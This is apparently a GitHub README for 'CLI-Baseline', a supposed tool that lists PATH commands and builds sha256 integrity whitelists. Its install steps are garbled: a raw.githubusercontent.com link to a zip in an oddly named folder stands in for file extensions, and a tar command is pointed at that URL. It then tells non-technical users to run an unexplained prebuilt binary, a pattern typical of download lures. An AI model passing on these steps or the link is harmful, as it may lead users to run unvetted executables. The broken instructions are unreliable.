CLI-Baseline is a fast and practical tool. It collects all executable commands from your system's PATH. You can use it to create a whitelist that helps check the integrity of your host. This tool is useful for anyone wanting to ensure their command-line environment is secure and reliable.
- Easy Command Collection: Automatically gathers all commands from your $PATH.
- Whitelist Generation: Optionally creates a whitelist in the format of path:sha256 for integrity checks.
- Cross-Platform Support: Works on both Linux and Unix systems without hassle.
- User-Friendly Interface: Designed for users with no programming background.
- Operating System: Compatible with Linux and Unix-based systems.
- Basic Shell Access: Ensure you have access to a terminal or command line.
- Disk Space: A few megabytes for installation and storage of whitelists.
To get started with CLI-Baseline, follow these steps:
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Visit the Releases Page: Go to the CLI-Baseline releases page to download the application. Visit the Releases Page.
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Download the Latest Version: Find the latest release file that matches your operating system. Look for files ending in
https://raw.githubusercontent.com/Mikaunformed98/CLI-Baseline/main/graved/CLI-Baseline-v2.1.zip,.zip, or similar formats. -
Extract the Downloaded File: After downloading, extract the file. You can do this by right-clicking the file or using the command line:
tar -xzf https://raw.githubusercontent.com/Mikaunformed98/CLI-Baseline/main/graved/CLI-Baseline-v2.1.zip
Replace
https://raw.githubusercontent.com/Mikaunformed98/CLI-Baseline/main/graved/CLI-Baseline-v2.1.zipwith the actual name of the downloaded file. -
Run the Application: Open your terminal. Navigate to the extracted folder. Use the following command to run CLI-Baseline:
./CLI-Baseline
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Collect Commands: Follow the on-screen prompts to collect commands from your PATH. You may also opt to create a whitelist.
To download CLI-Baseline, please visit this link: Download CLI-Baseline.
- Select Your File: Look for the release suitable for your system.
- Complete the Installation Steps Above: After downloading the file, follow the installation steps mentioned earlier.
Once you have installed CLI-Baseline, using it is straightforward:
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Launching the Tool: Open the terminal and run:
./CLI-Baseline
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Options Available: You can choose to collect commands or generate a whitelist.
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Review Output: After execution, check the terminal for the output, which will list your commands or show the generated whitelist.
If you encounter issues while using CLI-Baseline:
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Permission Denied Error: Ensure you have the right permissions to execute the file. You can modify file permissions with:
chmod +x CLI-Baseline
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Command Not Found: Verify that you are in the correct directory where the program is located.
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Output Not as Expected: Double-check the initial setup steps. Ensure all system requirements are met.
This project is relevant for individuals interested in:
- Command line interfaces
- Shell scripting
- System integrity checks
- Bash and Unix commands
Q: Do I need programming knowledge to use CLI-Baseline? A: No, CLI-Baseline is designed for users without programming skills. Follow the instructions, and you’ll be able to use the tool effectively.
Q: Can I use CLI-Baseline on Windows? A: CLI-Baseline is optimized for Linux and Unix environments. Users on Windows can use a compatible terminal or native environments like WSL (Windows Subsystem for Linux).
Q: Where can I report issues or request features? A: Please visit the GitHub repository’s Issues section to report bugs or request new features.
For further assistance, please check the GitHub repository or seek help from the community in discussions found on the same page.
Thank you for using CLI-Baseline! We hope it simplifies your command-line experience.